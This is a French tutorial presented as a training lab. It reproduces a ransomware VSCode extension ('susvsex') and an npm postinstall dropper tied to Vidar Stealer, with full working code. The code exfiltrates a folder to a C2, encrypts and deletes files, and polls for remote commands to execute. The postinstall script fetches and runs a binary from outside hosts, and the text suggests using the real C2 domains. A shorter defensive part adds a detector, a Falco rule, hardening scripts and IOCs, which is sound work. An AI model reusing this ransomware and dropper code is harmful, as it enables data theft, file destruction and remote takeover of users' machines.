VibeRansom-Zeus v1.0 — Lab Réel pour Comprendre et Défendre Contre les Supply-Chain Ransomware VSCode/npm
Analyse technique des incidents réels d'octobre-novembre 2025 : extension VSCode "susvsex" et 17 packages npm trojanisés déployant Vidar Stealer. Reproduction locale fonctionnelle avec vrais C2. Sauvez ce fichier HTML localement et reproduisez dans votre lab !
Introduction : Supply-Chain Réel, Sans Filtre
Le 5 novembre 2025, l'extension VSCode "susvsex" est publiée sur le Marketplace par "suspublisher18", description "Just testing". Elle zippe /tmp/testing (macOS/Linux) ou C:\Users\Public\testing (Windows), exfiltre vers https://github.com/aykhanmv/susvsex (utilisé comme C2), chiffre en AES-256-CBC, et poll pour des commandes. Clés et code C2 dans le package. Retirée le 6 novembre après ~200 téléchargements.
Peu avant, en octobre 2025 (21-22 et 26), 17 packages npm (abeya-tg-api, bael-god-admin, bael-god-api, bael-god-thanks, botty-fork-baby, cursor-ai-fork, cursor-app-fork, custom-telegram-bot-api, custom-tg-bot-plan, icon-react-fork, react-icon-pkg, sabaoa-tg-api, sabay-tg-api, sai-tg-api, salli-tg-api, telegram-bot-start, telegram-bot-starter) publiés par "aartje" (aartrabens@gmail.com) et "saliii229911" (saliii229911@gmail.com) exécutent un postinstall qui télécharge un ZIP encrypté depuis bullethost.cloud ou catbox.moe, extrait avec password (ex: bLtjqzUn), et lance bridle.exe (Vidar Stealer v2). Vidar vole credentials, cookies, wallets, exfiltre via C2 Telegram/Steam. Plus de 2240 téléchargements avant ban.
Objectif du lab: Reproduire les vecteurs réels en local, observer exfil/chiffrement/C2 fonctionnels, développer détection/hardening. Tout est testable en VM.
USAGE ÉDUCATIF UNIQUEMENT EN LAB ISOLÉ. Jamais en prod. Rapportez aux autorités si réel. Exécutez dans une sandbox avec snapshots. Pas d'internet requis si vous utilisez un C2 local (voir Phase 1).
Reproduction Locale : DIY Fonctionnel
Ce lab est conçu pour fonctionner **exactement comme les incidents réels**. Copiez les codes dans un dossier local, setup vos VMs, et observez le C2 réel (ou local). Pour packager :
# Sur votre machine host
mkdir viberansom_zeus && cd viberansom_zeus
mkdir vscode_susvsex npm_vidarpill defense
# Copiez les codes des sections suivantes
zip -r viberansom_zeus_lab.zip .
Option C2: Utilisez un C2 local (Flask) ou les vrais domaines (avec internet). Snapshots obligatoires.
Phase 1 : Setup – C2 Réel ou Local
Préparez 3 VMs connectées en réseau (NAT ou bridged si internet, sinon local).
- VM1 – Windows 11 (VSCode 1.95+)
- VM2 – Ubuntu 24.04 (Node.js 20+, npm 10+)
- VM3 – Kali 2025 (Python 3.12, Flask)
# C2 Local (Flask) - Option sûre
from flask import Flask, request, jsonify, send_from_directory
app = Flask(__name__, static_folder='.')
@app.route('/index.html', methods=['GET'])
def poll_cmd():
return jsonify({'cmd': 'hostname'})
@app.route('/requirements.txt', methods=['POST'])
def exfil_result():
with open('exfil.txt', 'ab') as f: f.write(request.data)
return 'OK'
@app.route('/upload', methods=['POST'])
def upload_zip():
file = request.files['file']
file.save('exfil.zip')
return 'OK'
@app.route('/vidar.zip')
def serve_vidar():
return send_from_directory('.', 'vidar.zip')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
Lancez : python3 c2.py. Créez un vidar.zip vide ou mock pour test.
Phase 2 : Cibles – Données Réalistes
Créez des données sensibles pour observer l'exfiltration réelle.
# Ubuntu/macOS
mkdir -p /tmp/testing
echo '{"api_key": "sk-1234567890"}' > /tmp/testing/config.json
# Windows
mkdir C:\Users\Public\testing
echo {"password": "admin123"} > C:\Users\Public\testing\secret.json
Phase 3 : Code – Reproduction Réelle
Structure du projet :
viberansom_zeus/
├── vscode_susvsex/
│ ├── package.json
│ ├── extension.js
│ └── decryptor.py
├── npm_vidarpill/
│ ├── package.json
│ └── extract.js
└── defense/
└── detector.py
vscode_susvsex/package.json
{
"name": "susvsex",
"displayName": "susvsex",
"description": "Just testing",
"version": "0.0.1",
"publisher": "suspublisher18",
"engines": { "vscode": "^1.85.0" },
"activationEvents": ["*"],
"main": "./extension.js"
}
vscode_susvsex/extension.js (Réel)
const vscode = require('vscode');
const fs = require('fs');
const path = require('path');
const archiver = require('archiver');
const crypto = require('crypto');
const fetch = require('node-fetch');
const os = require('os');
const LAB_DIR = path.join(os.tmpdir(), 'viberansom_lab');
fs.mkdirSync(LAB_DIR, { recursive: true });
const ZIP_NAME = 'testing.zip';
const C2_URL = 'http://127.0.0.1:8080'; // Ou https://aykhanmv.github.io/susvsex/ si internet
async function zipUploadAndEncrypt() {
const output = fs.createWriteStream(ZIP_NAME);
const archive = archiver('zip', { zlib: { level: 9 } });
archive.directory(LAB_DIR, false);
archive.pipe(output);
await archive.finalize();
const form = new FormData();
form.append('file', fs.createReadStream(ZIP_NAME));
await fetch(`${C2_URL}/upload`, { method: 'POST', body: form });
const key = crypto.randomBytes(32);
const iv = crypto.randomBytes(16);
fs.writeFileSync(path.join(LAB_DIR, 'RANSOM.txt'), `Key: ${key.toString('hex')}\nIV: ${iv.toString('hex')}`);
fs.readdirSync(LAB_DIR).forEach(f => {
const fullPath = path.join(LAB_DIR, f);
if (fs.statSync(fullPath).isFile() && !f.endsWith('.txt')) {
const data = fs.readFileSync(fullPath);
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
const encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
fs.writeFileSync(fullPath + '.encrypted', encrypted);
fs.unlinkSync(fullPath);
}
});
setInterval(async () => {
const res = await fetch(`${C2_URL}/index.html`);
const { cmd } = await res.json();
if (cmd) {
require('child_process').exec(cmd, (err, stdout) => {
fetch(`${C2_URL}/requirements.txt`, { method: 'POST', body: stdout });
});
}
}, 10000);
}
exports.activate = () => { zipUploadAndEncrypt(); };
npm_vidarpill/package.json (Réel)
{
"name": "cursor-ai-fork",
"version": "1.0.0",
"description": "Fake AI cursor fork",
"main": "index.js",
"scripts": {
"postinstall": "node extract.js"
}
}
npm_vidarpill/extract.js (Réel)
const https = require('https');
const fs = require('fs');
const AdmZip = require('adm-zip');
const child_process = require('child_process');
const path = require('path');
const LAB_DIR = '/tmp/viberansom_lab'; // Ou C:\\Temp\\viberansom_lab
fs.mkdirSync(LAB_DIR, { recursive: true });
const urls = ['https://bullethost.cloud/vidar.zip', 'https://catbox.moe/vidar.zip'];
let tried = 0;
function download() {
const url = urls[tried++];
https.get(url, res => {
if (res.statusCode !== 200 && tried < urls.length) return download();
const zipPath = path.join(LAB_DIR, 'vidar.zip');
const writeStream = fs.createWriteStream(zipPath);
res.pipe(writeStream);
writeStream.on('finish', () => {
const zip = new AdmZip(zipPath);
zip.extractAllTo(LAB_DIR, true, 'bLtjqzUn');
child_process.spawn(path.join(LAB_DIR, 'bridle.exe'), [], { detached: true, stdio: 'ignore' });
fs.unlinkSync(zipPath);
});
}).on('error', () => { if (tried < urls.length) download(); });
}
download();
Phase 4 : Exécution – Observation Réelle
Lancez le C2, installez les artefacts, et observez le comportement réel.
# C2 local
python3 c2.py
# VSCode
vsce package && code --install-extension susvsex-0.0.1.vsix
# npm
npm install ./npm_vidarpill
Observations : ZIP exfil, fichiers .encrypted, RANSOM.txt, polling C2, Vidar lancé.
Phase 5 : Détection & Hardening
defense/detector.py (Testable)
import os, psutil, json, hashlib
class SupplyChainDetector:
def __init__(self):
self.suspicious_patterns = ['susvsex', 'bullethost', 'cursor-ai-fork', 'abeya-tg-api']
self.known_hashes = ['aa49d14ddd6c0c24febab8dce52ce3835eb1c9280738978da70b1eae0d718925']
def scan_vscode_extensions(self):
ext_path = os.path.expanduser('~/.vscode/extensions')
suspicious = []
for ext in os.listdir(ext_path):
pkg = os.path.join(ext_path, ext, 'package.json')
if os.path.exists(pkg):
with open(pkg, 'r') as f:
data = json.load(f)
if any(p in data.get('name', '') for p in self.suspicious_patterns):
suspicious.append(ext)
return suspicious
def monitor_processes(self):
suspicious = []
for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
cmd = ' '.join(proc.info.get('cmdline') or [])
if any(p in cmd for p in self.suspicious_patterns):
suspicious.append(proc.info)
return suspicious
def check_hashes(self, path):
hasher = hashlib.sha256()
with open(path, 'rb') as f:
hasher.update(f.read())
return hasher.hexdigest() in self.known_hashes
def run_all(self):
report = {
'extensions': self.scan_vscode_extensions(),
'processes': self.monitor_processes()
}
return json.dumps(report, indent=4)
detector = SupplyChainDetector()
print(detector.run_all())
Outils d’Analyse/Détection
Forensic Memory (Volatility3):
vol3 -f memdump.mem windows.pslist --pid <sus_pid>
vol3 -f memdump.mem windows.cmdline
Falco:
- rule: Suspicious npm Postinstall
desc: Detect npm postinstall with network
condition: proc.name = npm and proc.cmdline contains postinstall and evt.type = connect
output: Suspicious npm activity (cmd=%proc.cmdline)
priority: WARNING
defense/hardener.py
import os
import json
import subprocess
class SupplyChainHardener:
def __init__(self):
self.vscode_settings = os.path.expanduser('~/.vscode/settings.json')
self.npm_configs = ['fund false', 'audit-level high', 'ignore-scripts true']
def harden_vscode(self):
settings = {}
if os.path.exists(self.vscode_settings):
with open(self.vscode_settings, 'r') as f:
settings = json.load(f)
settings['extensions.autoUpdate'] = False
settings['extensions.verifySignature'] = True
with open(self.vscode_settings, 'w') as f:
json.dump(settings, f, indent=4)
print("VSCode hardened")
def harden_npm(self):
for config in self.npm_configs:
subprocess.run(['npm', 'config', 'set'] + config.split())
print("npm hardened")
def run_all(self):
self.harden_vscode()
self.harden_npm()
hardener = SupplyChainHardener()
hardener.run_all()
Hardening
- VSCode: extensions.autoUpdate false, verifySignature true
- npm: --ignore-scripts, audit high
- Sandbox: firejail code/npm
- EDR: Rules pour postinstall network, encryption
IOC & Forensic
VSCode IOCs
npm IOCs
Table IOC Complète
| Type | Valeur | Description |
|---|---|---|
| Hash | aa49d14ddd6c0c24febab8dce52ce3835eb1c9280738978da70b1eae0d718925 | Vidar Stealer (bridle.exe) |
| IP C2 Mock | 127.0.0.1:8080 | Local simu pour lab |
| Fichiers | testing.zip, *.encrypted, bridle.exe | Artefacts exfil/chiffrement |
# Forensic
find ~ -name "*.encrypted" -o -name "bridle.exe"
sha256sum /tmp/extracted/bridle.exe
Conclusion
Ce lab reproduit les attaques réelles pour former à la défense. Utilisez-le pour protéger, jamais pour nuire. Prochain : obfuscation avancée.
platon-y pour pctamalou.fr et echoes of hackers